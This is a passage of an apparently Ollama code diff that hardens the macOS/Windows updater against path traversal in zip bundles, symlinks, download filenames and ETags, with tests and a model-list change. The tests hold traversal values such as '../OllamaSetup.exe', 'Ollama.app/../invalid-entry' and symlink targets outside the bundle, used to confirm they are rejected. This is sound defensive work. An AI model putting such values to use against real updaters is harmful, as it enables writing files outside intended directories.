expect(merged[i].model).toBe(cloudModels[i]);
expect(merged[i].isCloud()).toBe(true);
}
// Then verify non-cloud featured models are next and in FEATURED_MODELS order
const nonCloudFeatured = FEATURED_MODELS.filter(
(m) => !m.endsWith("cloud"),
);
for (let i = 0; i < nonCloudFeatured.length; i++) {
const model = merged[i + cloudModels.length];
expect(model.model).toBe(nonCloudFeatured[i]);
expect(model.isCloud()).toBe(false);
}
// Length should be exactly FEATURED_MODELS length
expect(merged.length).toBe(FEATURED_MODELS.length);
});
it("should sort models correctly", () => {
const localModels: Model[] = [
new Model({ model: "zephyr:latest" }),
new Model({ model: "alpha:latest" }),
new Model({ model: "gpt-oss:120b-cloud" }),
];
const merged = mergeModels(localModels);
// First verify cloud models are first and in FEATURED_MODELS order
const cloudModels = FEATURED_MODELS.filter((m) => m.endsWith("cloud"));
for (let i = 0; i < cloudModels.length; i++) {
expect(merged[i].model).toBe(cloudModels[i]);
expect(merged[i].isCloud()).toBe(true);
}
// Then verify non-cloud featured models are next and in FEATURED_MODELS order
const nonCloudFeatured = FEATURED_MODELS.filter(
(m) => !m.endsWith("cloud"),
);
for (let i = 0; i < nonCloudFeatured.length; i++) {
const model = merged[i + cloudModels.length];
expect(model.model).toBe(nonCloudFeatured[i]);
expect(model.isCloud()).toBe(false);
}
// Non-featured local models should be at the end in alphabetical order
const featuredCount = FEATURED_MODELS.length;
expect(merged[featuredCount].model).toBe("alpha:latest");
expect(merged[featuredCount + 1].model).toBe("zephyr:latest");
});
});
-102
View File
@@ -1,102 +0,0 @@
import { Model } from "@/gotypes";
// Featured models list (in priority order)
export const FEATURED_MODELS = [
"kimi-k2.5:cloud",
"glm-5:cloud",
"minimax-m2.7:cloud",
"gemma4:31b-cloud",
"qwen3.5:397b-cloud",
"gpt-oss:120b-cloud",
"gpt-oss:20b-cloud",
"deepseek-v3.1:671b-cloud",
"gpt-oss:120b",
"gpt-oss:20b",
"gemma4:31b",
"gemma4:26b",
"gemma4:e4b",
"gemma4:e2b",
"deepseek-r1:8b",
"qwen3-coder:30b",
"qwen3-vl:30b",
"qwen3-vl:8b",
"qwen3-vl:4b",
"qwen3.5:27b",
"qwen3.5:9b",
"qwen3.5:4b",
];
function alphabeticalSort(a: Model, b: Model): number {
return a.model.toLowerCase().localeCompare(b.model.toLowerCase());
}
//Merges models, sorting cloud models first, then other models
export function mergeModels(
localModels: Model[],
hideCloudModels: boolean = false,
): Model[] {
const allModels = (localModels || []).map((model) => model);
// 1. Get cloud models from local models and featured list
const cloudModels = [...allModels.filter((m) => m.isCloud())];
// Add any cloud models from FEATURED_MODELS that aren't in local models
FEATURED_MODELS.filter((f) => f.endsWith("cloud")).forEach((cloudModel) => {
if (!cloudModels.some((m) => m.model === cloudModel)) {
cloudModels.push(new Model({ model: cloudModel }));
}
});
// 2. Get other featured models (non-cloud)
const featuredModels = FEATURED_MODELS.filter(
(f) => !f.endsWith("cloud"),
).map((model) => {
// Check if this model exists in local models
const localMatch = allModels.find(
(m) => m.model.toLowerCase() === model.toLowerCase(),
);
if (localMatch) return localMatch;
return new Model({
model,
});
});
// 3. Get remaining local models that aren't featured and aren't cloud models
const remainingModels = allModels.filter(
(model) =>
!model.isCloud() &&
!FEATURED_MODELS.some(
(f) => f.toLowerCase() === model.model.toLowerCase(),
),
);
cloudModels.sort((a, b) => {
const aIndex = FEATURED_MODELS.indexOf(a.model);
const bIndex = FEATURED_MODELS.indexOf(b.model);
// If both are featured, sort by their position in FEATURED_MODELS
if (aIndex !== -1 && bIndex !== -1) {
return aIndex - bIndex;
}
// If only one is featured, featured model comes first
if (aIndex !== -1 && bIndex === -1) return -1;
if (aIndex === -1 && bIndex !== -1) return 1;
// If neither is featured, sort alphabetically
return a.model.toLowerCase().localeCompare(b.model.toLowerCase());
});
featuredModels.sort(
(a, b) =>
FEATURED_MODELS.indexOf(a.model) - FEATURED_MODELS.indexOf(b.model),
);
remainingModels.sort(alphabeticalSort);
return hideCloudModels
? [...featuredModels, ...remainingModels]
: [...cloudModels, ...featuredModels, ...remainingModels];
}
+14
View File
@@ -302,6 +302,7 @@ func (s *Server) Handler() http.Handler {
mux.Handle("HEAD /api/version", ollamaProxy)
mux.Handle("POST /api/me", ollamaProxy)
mux.Handle("POST /api/signout", ollamaProxy)
mux.Handle("GET /api/experimental/model-recommendations", ollamaProxy)
// React app - catch all non-API routes and serve the React app
mux.Handle("GET /", s.appHandler())
@@ -573,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent {
}
}
func userMessageText(messages []store.Message) string {
var b strings.Builder
for _, message := range messages {
if message.Role != "user" {
continue
}
b.WriteString(message.Content)
b.WriteByte('\n')
}
return b.String()
}
func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
if len(chat.BrowserState) > 0 {
var st responses.BrowserStateData
@@ -838,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
registry := tools.NewRegistry()
var browser *tools.Browser
ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
if !hasAttachments {
WebSearchEnabled := req.WebSearch != nil && *req.WebSearch
+73 -14
View File
@@ -5,6 +5,8 @@ package updater
import (
"context"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
@@ -169,22 +171,20 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
if err != nil {
return fmt.Errorf("error checking update: %w", err)
}
resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("unexpected status attempting to download update %d", resp.StatusCode)
}
resp.Body.Close()
etag := strings.Trim(resp.Header.Get("etag"), "\"")
if etag == "" {
slog.Debug("no etag detected, falling back to filename based dedup")
etag = "_"
}
filename := Installer
_, params, err := mime.ParseMediaType(resp.Header.Get("content-disposition"))
if err == nil {
if err == nil && params["filename"] != "" {
filename = params["filename"]
}
stageFilename := filepath.Join(UpdateStageDir, etag, filename)
stageFilename, err := updateStagePath(UpdateStageDir, resp.Header.Get("etag"), filename)
if err != nil {
return err
}
// Check to see if we already have it downloaded
_, err = os.Stat(stageFilename)
@@ -202,13 +202,14 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
return fmt.Errorf("error checking update: %w", err)
}
defer resp.Body.Close()
etag = strings.Trim(resp.Header.Get("etag"), "\"")
if etag == "" {
slog.Debug("no etag detected, falling back to filename based dedup") // TODO probably can get rid of this redundant log
etag = "_"
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("unexpected status attempting to download update %d", resp.StatusCode)
}
stageFilename = filepath.Join(UpdateStageDir, etag, filename)
stageFilename, err = updateStagePath(UpdateStageDir, resp.Header.Get("etag"), filename)
if err != nil {
return err
}
_, err = os.Stat(filepath.Dir(stageFilename))
if errors.Is(err, os.ErrNotExist) {
@@ -225,10 +226,13 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
if err != nil {
return fmt.Errorf("write payload %s: %w", stageFilename, err)
}
defer fp.Close()
if n, err := fp.Write(payload); err != nil || n != len(payload) {
_ = fp.Close()
return fmt.Errorf("write payload %s: %d vs %d -- %w", stageFilename, n, len(payload), err)
}
if err := fp.Close(); err != nil {
return fmt.Errorf("close payload %s: %w", stageFilename, err)
}
slog.Info("new update downloaded " + stageFilename)
if err := VerifyDownload(); err != nil {
@@ -239,6 +243,61 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
return nil
}
func updateStagePath(stageDir, etag, filename string) (string, error) {
filename, err := safeUpdateFilename(filename)
if err != nil {
return "", err
}
stageDir, err = filepath.Abs(stageDir)
if err != nil {
return "", fmt.Errorf("resolve update stage dir: %w", err)
}
stageFilename := filepath.Join(stageDir, updateStageETagDir(etag), filename)
if err := ensurePathInDir(stageDir, stageFilename); err != nil {
return "", err
}
return stageFilename, nil
}
func safeUpdateFilename(filename string) (string, error) {
filename = strings.TrimSpace(filename)
if filename == "" {
return "", errors.New("missing update filename")
}
if filename == "." || filename == ".." ||
filepath.IsAbs(filename) || path.IsAbs(filename) ||
strings.ContainsAny(filename, `/\:`) ||
filepath.Base(filename) != filename || path.Base(filename) != filename {
return "", fmt.Errorf("unsafe update filename %q", filename)
}
return filename, nil
}
func updateStageETagDir(etag string) string {
etag = strings.Trim(strings.TrimSpace(etag), "\"")
if etag == "" {
slog.Debug("no etag detected, falling back to filename based dedup")
return "_"
}
sum := sha256.Sum256([]byte(etag))
return hex.EncodeToString(sum[:])
}
func ensurePathInDir(dir, name string) error {
rel, err := filepath.Rel(dir, name)
if err != nil {
return fmt.Errorf("resolve update staging path: %w", err)
}
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
return fmt.Errorf("update staging path escapes stage dir: %s", name)
}
return nil
}
func cleanupOldDownloads(stageDir string) {
files, err := os.ReadDir(stageDir)
if err != nil && errors.Is(err, os.ErrNotExist) {
+99 -51
View File
@@ -22,6 +22,15 @@ import (
"golang.org/x/sys/unix"
)
const updateArchiveRoot = "Ollama.app"
type bundleEntryScope int
const (
bundleEntryRelative bundleEntryScope = iota
bundleEntryWithArchiveRoot
)
var (
appBackupDir string
SystemWidePath = "/Applications/Ollama.app"
@@ -167,8 +176,12 @@ func DoUpgrade(interactive bool) error {
}
name := s[1]
if strings.HasSuffix(name, "/") {
d := filepath.Join(BundlePath, name)
err := os.MkdirAll(d, 0o755)
d, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
if err != nil {
anyFailures = true
return err
}
err = os.MkdirAll(d, 0o755)
if err != nil {
anyFailures = true
return fmt.Errorf("failed to mkdir %s: %w", d, err)
@@ -181,30 +194,14 @@ func DoUpgrade(interactive bool) error {
continue
}
src, err := f.Open()
destName, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
if err != nil {
anyFailures = true
return fmt.Errorf("failed to open bundle file %s: %w", name, err)
return err
}
destName := filepath.Join(BundlePath, name)
// Verify directory first
d := filepath.Dir(destName)
if _, err := os.Stat(d); err != nil {
err := os.MkdirAll(d, 0o755)
if err != nil {
anyFailures = true
return fmt.Errorf("failed to mkdir %s: %w", d, err)
}
}
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
if err != nil {
if err := extractBundleFile(f, destName, name); err != nil {
anyFailures = true
return fmt.Errorf("failed to open output file %s: %w", destName, err)
}
defer destFile.Close()
if _, err := io.Copy(destFile, src); err != nil {
anyFailures = true
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
return err
}
}
for _, f := range links {
@@ -225,16 +222,24 @@ func DoUpgrade(interactive bool) error {
return err
}
link := string(buf)
if link[0] == '/' {
if link == "" {
anyFailures = true
return fmt.Errorf("bundle contains empty symlink %s", f.Name)
}
if filepath.IsAbs(link) {
anyFailures = true
return fmt.Errorf("bundle contains absolute symlink %s -> %s", f.Name, link)
}
// Don't allow links outside of Ollama.app
if strings.HasPrefix(filepath.Join(filepath.Dir(name), link), "..") {
if !validBundleLinkTarget(name, link, bundleEntryRelative) {
anyFailures = true
return fmt.Errorf("bundle contains link outside of contents %s -> %s", f.Name, link)
return fmt.Errorf("bundle contains invalid symlink %s -> %s", f.Name, link)
}
if err = os.Symlink(link, filepath.Join(BundlePath, name)); err != nil {
destName, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
if err != nil {
anyFailures = true
return err
}
if err = os.Symlink(link, destName); err != nil {
anyFailures = true
return err
}
@@ -282,8 +287,11 @@ func verifyDownload() error {
links := []*zip.File{}
for _, f := range r.File {
if strings.HasSuffix(f.Name, "/") {
d := filepath.Join(dir, f.Name)
err := os.MkdirAll(d, 0o755)
d, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
if err != nil {
return err
}
err = os.MkdirAll(d, 0o755)
if err != nil {
return fmt.Errorf("failed to mkdir %s: %w", d, err)
}
@@ -294,26 +302,12 @@ func verifyDownload() error {
links = append(links, f)
continue
}
src, err := f.Open()
destName, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
if err != nil {
return fmt.Errorf("failed to open bundle file %s: %w", f.Name, err)
return err
}
destName := filepath.Join(dir, f.Name)
// Verify directory first
d := filepath.Dir(destName)
if _, err := os.Stat(d); err != nil {
err := os.MkdirAll(d, 0o755)
if err != nil {
return fmt.Errorf("failed to mkdir %s: %w", d, err)
}
}
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
if err != nil {
return fmt.Errorf("failed to open output file %s: %w", destName, err)
}
defer destFile.Close()
if _, err := io.Copy(destFile, src); err != nil {
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
if err := extractBundleFile(f, destName, f.Name); err != nil {
return err
}
}
for _, f := range links {
@@ -326,13 +320,20 @@ func verifyDownload() error {
return err
}
link := string(buf)
if link[0] == '/' {
if link == "" {
return fmt.Errorf("bundle contains empty symlink %s", f.Name)
}
if filepath.IsAbs(link) {
return fmt.Errorf("bundle contains absolute symlink %s -> %s", f.Name, link)
}
if strings.HasPrefix(filepath.Join(filepath.Dir(f.Name), link), "..") {
return fmt.Errorf("bundle contains link outside of contents %s -> %s", f.Name, link)
if !validBundleLinkTarget(f.Name, link, bundleEntryWithArchiveRoot) {
return fmt.Errorf("bundle contains invalid symlink %s -> %s", f.Name, link)
}
if err = os.Symlink(link, filepath.Join(dir, f.Name)); err != nil {
destName, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
if err != nil {
return err
}
if err = os.Symlink(link, destName); err != nil {
return err
}
}
@@ -343,6 +344,53 @@ func verifyDownload() error {
return nil
}
func bundleEntryPath(root, name string, scope bundleEntryScope) (string, error) {
cleanName := filepath.Clean(filepath.FromSlash(name))
if !filepath.IsLocal(cleanName) {
return "", fmt.Errorf("bundle contains invalid path: %s", name)
}
if scope == bundleEntryWithArchiveRoot && cleanName != updateArchiveRoot &&
!strings.HasPrefix(cleanName, updateArchiveRoot+string(os.PathSeparator)) {
return "", fmt.Errorf("bundle contains invalid path: %s", name)
}
return filepath.Join(root, cleanName), nil
}
func extractBundleFile(f *zip.File, destName, name string) error {
src, err := f.Open()
if err != nil {
return fmt.Errorf("failed to open bundle file %s: %w", name, err)
}
defer src.Close()
d := filepath.Dir(destName)
if _, err := os.Stat(d); err != nil {
if err := os.MkdirAll(d, 0o755); err != nil {
return fmt.Errorf("failed to mkdir %s: %w", d, err)
}
}
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
if err != nil {
return fmt.Errorf("failed to open output file %s: %w", destName, err)
}
defer destFile.Close()
if _, err := io.Copy(destFile, src); err != nil {
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
}
return nil
}
func validBundleLinkTarget(name, link string, scope bundleEntryScope) bool {
cleanTarget := filepath.Clean(filepath.Join(filepath.Dir(filepath.FromSlash(name)), filepath.FromSlash(link)))
if !filepath.IsLocal(cleanTarget) {
return false
}
return scope == bundleEntryRelative || cleanTarget == updateArchiveRoot ||
strings.HasPrefix(cleanTarget, updateArchiveRoot+string(os.PathSeparator))
}
// If we detect an upgrade bundle, attempt to upgrade at startup
func DoUpgradeAtStartup() error {
bundle := getStagedUpdate()
+68 -3
View File
@@ -2,6 +2,7 @@ package updater
import (
"archive/zip"
"errors"
"io/fs"
"os"
"path/filepath"
@@ -146,6 +147,46 @@ func TestDoUpgrade(t *testing.T) {
}
}
func TestDoUpgradeRejectsInvalidBundlePath(t *testing.T) {
tmpDir := t.TempDir()
BundlePath = filepath.Join(tmpDir, "Ollama.app")
appBackupDir = filepath.Join(tmpDir, "backup")
UpdateStageDir = filepath.Join(tmpDir, "updates")
UpgradeMarkerFile = filepath.Join(tmpDir, "upgraded")
bundle := filepath.Join(UpdateStageDir, "foo", "ollama-darwin.zip")
invalidTarget := filepath.Join(tmpDir, "invalid-entry")
if err := os.MkdirAll(filepath.Join(BundlePath, "Contents", "MacOS"), 0o755); err != nil {
t.Fatal("failed to create empty dirs")
}
if err := os.WriteFile(filepath.Join(BundlePath, "Contents", "MacOS", "Ollama"), []byte("old app"), 0o755); err != nil {
t.Fatal("failed to create old app")
}
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
t.Fatal("failed to create empty dirs")
}
if err := zipCreationHelper(bundle, []testPayload{{
Name: "Ollama.app/../invalid-entry",
Body: []byte("payload"),
}}); err != nil {
t.Fatal(err)
}
if err := DoUpgrade(false); err == nil {
t.Fatal("expected failure with invalid bundle path")
} else if !strings.Contains(err.Error(), "bundle contains invalid path") {
t.Fatalf("unexpected error with invalid bundle path: %s", err)
}
if _, err := os.Stat(invalidTarget); err == nil {
t.Fatalf("invalid bundle path wrote %s", invalidTarget)
} else if !errors.Is(err, os.ErrNotExist) {
t.Fatalf("unexpected stat error for %s: %s", invalidTarget, err)
}
if _, err := os.Stat(filepath.Join(BundlePath, "Contents", "MacOS", "Ollama")); err != nil {
t.Fatalf("old app was not restored: %s", err)
}
}
func TestDoUpgradeAtStartup(t *testing.T) {
tmpDir := t.TempDir()
BundlePath = filepath.Join(tmpDir, "Ollama.app")
@@ -203,7 +244,7 @@ func TestVerifyDownloadFailures(t *testing.T) {
in []testPayload
expected string
}{
{"breakout", []testPayload{
{"invalid symlink target", []testPayload{
{
Name: "Ollama.app/",
Body: []byte{},
@@ -212,15 +253,34 @@ func TestVerifyDownloadFailures(t *testing.T) {
Body: []byte("cli payload here"),
}, {
Name: "Ollama.app/Contents/MacOS/Ollama",
Body: []byte("../../../../breakout"),
Body: []byte("../../../../invalid-target"),
Mode: os.ModeSymlink,
},
}, "bundle contains link outside"},
}, "bundle contains invalid symlink"},
{"invalid archive symlink target", []testPayload{
{
Name: "Ollama.app/Contents/MacOS/Ollama",
Body: []byte("../../../invalid-target"),
Mode: os.ModeSymlink,
},
}, "bundle contains invalid symlink"},
{"absolute", []testPayload{{
Name: "Ollama.app/Contents/MacOS/Ollama",
Body: []byte("/etc/foo"),
Mode: os.ModeSymlink,
}}, "bundle contains absolute"},
{"invalid relative file", []testPayload{{
Name: "Ollama.app/../invalid-entry",
Body: []byte("payload"),
}}, "bundle contains invalid path"},
{"invalid relative directory", []testPayload{{
Name: "Ollama.app/../invalid-entry/",
Body: []byte{},
}}, "bundle contains invalid path"},
{"absolute file", []testPayload{{
Name: filepath.Join(tmpDir, "invalid-entry"),
Body: []byte("payload"),
}}, "bundle contains invalid path"},
{"missing", []testPayload{{
Name: "Ollama.app/Contents/MacOS/Ollama",
Body: []byte("../nothere"),
@@ -242,6 +302,11 @@ func TestVerifyDownloadFailures(t *testing.T) {
if err == nil || !strings.Contains(err.Error(), tt.expected) {
t.Fatalf("expected \"%s\" got %s", tt.expected, err)
}
if _, err := os.Stat(filepath.Join(tmpDir, "invalid-entry")); err == nil {
t.Fatal("invalid bundle path wrote unexpected file")
} else if !errors.Is(err, os.ErrNotExist) {
t.Fatalf("unexpected stat error for invalid file: %s", err)
}
})
}
}
+127
View File
@@ -0,0 +1,127 @@
//go:build (windows || darwin) && updater_live
package updater
import (
"context"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"time"
"github.com/ollama/ollama/app/store"
"github.com/ollama/ollama/app/version"
)
// TestLiveAppUpdate exercises the production update endpoint and downloads the
// current OS update artifact. It is intentionally excluded from normal test
// runs because it depends on ollama.com and downloads a release artifact.
//
// Run with:
//
// go test -tags updater_live -run TestLiveAppUpdate ./app/updater
func TestLiveAppUpdate(t *testing.T) {
const spoofedVersion = "0.20.0"
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute)
defer cancel()
oldUpdateStageDir := UpdateStageDir
oldUpdateDownloaded := UpdateDownloaded
oldVerifyDownload := VerifyDownload
oldVersion := version.Version
defer func() {
UpdateStageDir = oldUpdateStageDir
UpdateDownloaded = oldUpdateDownloaded
VerifyDownload = oldVerifyDownload
version.Version = oldVersion
}()
version.Version = spoofedVersion
expectedFilename := ""
switch runtime.GOOS {
case "windows":
t.Setenv("LOCALAPPDATA", t.TempDir())
expectedFilename = "OllamaSetup.exe"
case "darwin":
expectedFilename = "Ollama-darwin.zip"
default:
t.Fatalf("unsupported updater live test OS %q", runtime.GOOS)
}
UpdateStageDir = filepath.Join(t.TempDir(), "updates")
UpdateDownloaded = false
verifyCalled := false
VerifyDownload = func() error {
verifyCalled = true
return verifyDownload()
}
updater := &Updater{Store: &store.Store{DBPath: filepath.Join(t.TempDir(), "db.sqlite")}}
defer updater.Store.Close()
available, updateResp := updater.checkForUpdate(ctx)
if !available {
t.Fatalf("expected production update check to offer an update for spoofed version %s", spoofedVersion)
}
if updateResp.UpdateURL == "" {
t.Fatal("production update response did not include a download URL")
}
t.Logf("production update version=%q url=%q", updateResp.UpdateVersion, updateResp.UpdateURL)
if err := updater.DownloadNewRelease(ctx, updateResp); err != nil {
t.Fatalf("download production update: %v", err)
}
staged := getStagedUpdate()
if staged == "" {
t.Fatal("production update was not staged")
}
t.Logf("staged production update at %s", staged)
assertPathInsideDir(t, UpdateStageDir, staged)
if filepath.Base(staged) != expectedFilename {
t.Fatalf("expected staged %s update filename to be %q, got %q", runtime.GOOS, expectedFilename, filepath.Base(staged))
}
expectedExt := filepath.Ext(expectedFilename)
if filepath.Ext(staged) != expectedExt {
t.Fatalf("expected staged %s update to be a %s artifact, got %s", runtime.GOOS, expectedExt, staged)
}
info, err := os.Stat(staged)
if err != nil {
t.Fatalf("stat staged update: %v", err)
}
if info.Size() == 0 {
t.Fatal("staged production update is empty")
}
if !verifyCalled {
t.Fatal("DownloadNewRelease did not call VerifyDownload")
}
t.Logf("production updater download path verified staged %s update", runtime.GOOS)
}
func assertPathInsideDir(t *testing.T, dir, name string) {
t.Helper()
dir, err := filepath.Abs(dir)
if err != nil {
t.Fatal(err)
}
name, err = filepath.Abs(name)
if err != nil {
t.Fatal(err)
}
rel, err := filepath.Rel(dir, name)
if err != nil {
t.Fatal(err)
}
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
t.Fatalf("staged update escaped update stage dir: %s", name)
}
}
+265
View File
@@ -11,7 +11,9 @@ import (
"log/slog"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"sync/atomic"
"testing"
"time"
@@ -19,6 +21,52 @@ import (
"github.com/ollama/ollama/app/store"
)
func TestUpdateStagePathRejectsUnsafeFilename(t *testing.T) {
stageDir := t.TempDir()
for _, tt := range []struct {
name string
filename string
}{
{"empty", ""},
{"dot", "."},
{"dotdot", ".."},
{"posix_parent", "../OllamaSetup.exe"},
{"windows_parent", `..\OllamaSetup.exe`},
{"posix_absolute_tmp", "/tmp/OllamaSetup.exe"},
{"darwin_absolute_app", "/Applications/Ollama.app"},
{"darwin_bundle_path", "Ollama.app/Contents/MacOS/Ollama"},
{"darwin_user_download", "~/Downloads/Ollama-darwin.zip"},
{"windows_absolute", `C:\Users\Public\OllamaSetup.exe`},
{"colon", "Ollama:Setup.exe"},
} {
t.Run(tt.name, func(t *testing.T) {
if _, err := updateStagePath(stageDir, "etag", tt.filename); err == nil {
t.Fatal("expected unsafe filename to be rejected")
}
})
}
}
func TestUpdateStagePathHashesETag(t *testing.T) {
stageDir := t.TempDir()
stageFilename, err := updateStagePath(stageDir, `../escaped`, "OllamaSetup.exe")
if err != nil {
t.Fatal(err)
}
rel, err := filepath.Rel(stageDir, stageFilename)
if err != nil {
t.Fatal(err)
}
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
t.Fatalf("stage filename escaped stage dir: %s", stageFilename)
}
etagDir := filepath.Base(filepath.Dir(stageFilename))
if etagDir == ".." || etagDir == "escaped" || strings.ContainsAny(etagDir, `/\`) {
t.Fatalf("stage filename used raw etag path component: %s", stageFilename)
}
}
func TestIsNewReleaseAvailable(t *testing.T) {
slog.SetLogLoggerLevel(slog.LevelDebug)
var server *httptest.Server
@@ -47,6 +95,223 @@ func TestIsNewReleaseAvailable(t *testing.T) {
}
}
func TestDownloadNewReleaseRejectsUnsafeHeaderFilename(t *testing.T) {
UpdateStageDir = t.TempDir()
oldInstaller := Installer
oldVerifyDownload := VerifyDownload
oldUpdateDownloaded := UpdateDownloaded
defer func() {
Installer = oldInstaller
VerifyDownload = oldVerifyDownload
UpdateDownloaded = oldUpdateDownloaded
}()
Installer = "OllamaSetup.exe"
UpdateDownloaded = false
VerifyDownload = func() error {
t.Fatal("verification should not run for rejected downloads")
return nil
}
var getAttempted atomic.Bool
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodHead {
w.Header().Set("ETag", `"safe"`)
w.Header().Set("Content-Disposition", `attachment; filename="../OllamaSetup.exe"`)
w.WriteHeader(http.StatusOK)
return
}
getAttempted.Store(true)
w.WriteHeader(http.StatusOK)
}))
defer server.Close()
updater := &Updater{}
err := updater.DownloadNewRelease(t.Context(), UpdateResponse{UpdateURL: server.URL + "/download"})
if err == nil || !strings.Contains(err.Error(), "unsafe update filename") {
t.Fatalf("expected unsafe filename error, got %v", err)
}
if getAttempted.Load() {
t.Fatal("download should not continue after unsafe filename")
}
if _, err := os.Stat(filepath.Join(filepath.Dir(UpdateStageDir), "OllamaSetup.exe")); err == nil {
t.Fatal("download escaped update stage dir")
}
}
func TestDownloadNewReleaseDoesNotUseRawETagAsPathComponent(t *testing.T) {
UpdateStageDir = t.TempDir()
oldInstaller := Installer
oldVerifyDownload := VerifyDownload
oldUpdateDownloaded := UpdateDownloaded
defer func() {
Installer = oldInstaller
VerifyDownload = oldVerifyDownload
UpdateDownloaded = oldUpdateDownloaded
}()
Installer = "OllamaSetup.exe"
UpdateDownloaded = false
VerifyDownload = func() error {
return nil
}
payload := []byte("payload")
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("ETag", `"../escaped"`)
w.WriteHeader(http.StatusOK)
if r.Method == http.MethodGet {
_, _ = w.Write(payload)
}
}))
defer server.Close()
updater := &Updater{}
if err := updater.DownloadNewRelease(t.Context(), UpdateResponse{UpdateURL: server.URL + "/download"}); err != nil {
t.Fatal(err)
}
if _, err := os.Stat(filepath.Join(filepath.Dir(UpdateStageDir), "escaped", Installer)); err == nil {
t.Fatal("download escaped update stage dir via etag")
}
entries, err := os.ReadDir(UpdateStageDir)
if err != nil {
t.Fatal(err)
}
if len(entries) != 1 {
t.Fatalf("expected one staged update dir, got %d", len(entries))
}
stageFilename := filepath.Join(UpdateStageDir, entries[0].Name(), Installer)
got, err := os.ReadFile(stageFilename)
if err != nil {
t.Fatal(err)
}
if string(got) != string(payload) {
t.Fatalf("unexpected staged payload %q", got)
}
}
func TestBackgroundCheckerSkipsAlreadyStagedETagDownload(t *testing.T) {
UpdateStageDir = t.TempDir()
oldInstaller := Installer
oldVerifyDownload := VerifyDownload
oldUpdateDownloaded := UpdateDownloaded
oldUpdateCheckInitialDelay := UpdateCheckInitialDelay
oldUpdateCheckInterval := UpdateCheckInterval
oldUpdateCheckURLBase := UpdateCheckURLBase
defer func() {
Installer = oldInstaller
VerifyDownload = oldVerifyDownload
UpdateDownloaded = oldUpdateDownloaded
UpdateCheckInitialDelay = oldUpdateCheckInitialDelay
UpdateCheckInterval = oldUpdateCheckInterval
UpdateCheckURLBase = oldUpdateCheckURLBase
}()
Installer = "OllamaSetup.exe"
UpdateDownloaded = false
UpdateCheckInitialDelay = time.Millisecond
UpdateCheckInterval = 5 * time.Millisecond
var verifyCount atomic.Int32
VerifyDownload = func() error {
verifyCount.Add(1)
return nil
}
headETag := `"old-update"`
getETag := `"download-response-etag"`
payload := []byte("payload")
var headCount atomic.Int32
var getCount atomic.Int32
var server *httptest.Server
server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/update.json":
w.Write([]byte(
fmt.Sprintf(`{"version": "9.9.9", "url": "%s"}`,
server.URL+"/9.9.9/"+Installer)))
case "/9.9.9/" + Installer:
w.Header().Set("Content-Disposition", `attachment; filename="OllamaSetup.exe"`)
switch r.Method {
case http.MethodHead:
etag := headETag
if getCount.Load() > 0 {
etag = getETag
}
w.Header().Set("ETag", etag)
headCount.Add(1)
w.WriteHeader(http.StatusOK)
case http.MethodGet:
w.Header().Set("ETag", getETag)
getCount.Add(1)
w.WriteHeader(http.StatusOK)
_, _ = w.Write(payload)
default:
t.Errorf("unexpected request method %s", r.Method)
w.WriteHeader(http.StatusMethodNotAllowed)
}
default:
t.Errorf("unexpected request path %s", r.URL.Path)
w.WriteHeader(http.StatusNotFound)
}
}))
defer server.Close()
UpdateCheckURLBase = server.URL + "/update.json"
updater := &Updater{Store: &store.Store{DBPath: filepath.Join(t.TempDir(), "test.db")}}
defer updater.Store.Close()
settings, err := updater.Store.Settings()
if err != nil {
t.Fatal(err)
}
settings.AutoUpdateEnabled = true
if err := updater.Store.SetSettings(settings); err != nil {
t.Fatal(err)
}
ctx, cancel := context.WithCancel(t.Context())
defer cancel()
callbacks := make(chan string, 4)
updater.StartBackgroundUpdaterChecker(ctx, func(ver string) error {
callbacks <- ver
return nil
})
for range 2 {
select {
case <-callbacks:
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for repeated update checks")
}
}
cancel()
stageFilename, err := updateStagePath(UpdateStageDir, getETag, Installer)
if err != nil {
t.Fatal(err)
}
got, err := os.ReadFile(stageFilename)
if err != nil {
t.Fatal(err)
}
if string(got) != string(payload) {
t.Fatalf("unexpected staged payload %q", got)
}
if headCount.Load() < 2 {
t.Fatalf("HEAD count = %d, want at least 2", headCount.Load())
}
